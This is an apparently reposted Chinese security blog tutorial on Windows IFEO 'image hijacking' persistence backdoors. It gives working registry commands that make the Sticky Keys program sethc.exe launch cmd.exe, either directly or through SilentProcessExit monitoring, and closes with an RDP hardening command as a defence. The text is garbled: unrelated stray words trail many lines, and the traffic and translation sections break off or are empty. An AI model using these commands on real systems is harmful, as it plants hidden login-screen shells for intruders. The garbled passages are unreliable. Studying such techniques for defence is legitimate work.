0x01 前言css
「映像劫持」,也被稱爲「IFEO」(Image File Execution Options),在WindowsNT架構的系統裏,IFEO的本意是爲一些在默認系統環境中運行時可能引起錯誤的程序執行體提供特殊的環境設定。當一個可執行程序位於IFEO的控制中時,它的內存分配則根據該程序的參數來設定,而WindowsN T架構的系統能經過這個註冊表項使用與可執行程序文件名匹配的項目做爲程序載入時的控制依據,最終得以設定一個程序的堆管理機制和一些輔助機制等。出於簡化緣由,IFEO使用忽略路徑的方式來匹配它所要控制的程序文件名,因此程序不管放在哪一個路徑,只要名字沒有變化,它就運行出問題。nginx
下面呢,咱們聊一聊如何打造不同「映像劫持」後門。shell
0x02 實驗環境windows
目標機-Windows 7(192.168.43.94)安全
攻擊機-Kali Linux (192.168.43.9)服務器
0x03 傳統「映像劫持」Shift後門微信
傳統「映像劫持」,當用戶雙擊對應的程序後,操做系統就會給外殼程序(例如」explorer.exe」)發佈相應的指令,其中包含有執行程序的路徑和文件名,而後由外殼程序來執行該程序。事實上在該過程當中,Windows還會在註冊表的上述路徑中查詢全部的映像劫持子鍵,若是存在和該程序名稱徹底相同的子鍵,就查詢對應子健中包含的」dubugger」鍵值名,並用其指定的程序路徑來代替原始的程序,以後執行的是遭到」劫持」的虛假程序。簡單點說,當你打開的是程序A,而運行的倒是程序B。架構
你們必定都知道映像劫持後門,在如下注冊表中的sethc.exe項添加一個Debugger字符值(REG_SZ),而且賦值爲cmd.exe的執行路徑爲C:\windows\system32\cmd.exe,如圖:ide
IFEO註冊表項:工具
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
0x04 如何打造不同的「映像劫持」後門呢?
與上文對比,不同的「映像劫持」後門是怎樣的呢?0x03中所講述的傳統「映像劫持」後門是修改IFEO中的「debugger」鍵值,用來替換原有程序的執行。而不同的「映像劫持」後門,實現的效果是:程序A靜默退出結束後,會執行程序B。
懷揣着0x04的目標咱們開始籌備。在網上收集資料時發現, Image File Execution Options下能夠設置如下值項,其中GlobalFlag是本次測試的關鍵點:
DebuggerDisableHeapLookasideShutdownFlagsMinimumStackCommitInBytesExecuteOptionsGlobalFlagDebugProcessHeapOnly......
在MSDN的博客上進一步發現GlobalFlag由gflags.exe控制,文章地址:
0x05 來看一看它的原理
那麼,咱們只須要需改對應的註冊表便可:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "C:\windows\system32\cmd.exe"
0x06 接下來,看下最終效果
0x07 如何「破」這種權限維持手法
(1) 流量方面:
隨後,三次握手創建鏈接,所以當咱們看到異常請求或鏈接時可進行防護措施。
(2) 系統配置方面:
翻譯:
0:說明是進行遠程桌面前不須要用戶身份驗證。1:說明是進行遠程桌面前須要進行用戶身份驗證。
那麼,當咱們將該參數設置爲1時則可防止黑客利用遠程桌面界面鍵入Shift從而達到防護效果,能夠直接執行如下命令修改UserAuthentication註冊表值,咱們看下效果:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f
發現咱們必須密碼輸入正確才能彈出遠程桌面。
最後,你們能夠明白一個道理「不知攻焉知防」,攻擊者經過改變UserAuthentication參數方便控制,咱們也能夠經過它提升防護。
0x08 參考文章
https://blog.csdn.net/johnsonblog/article/details/8165861
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。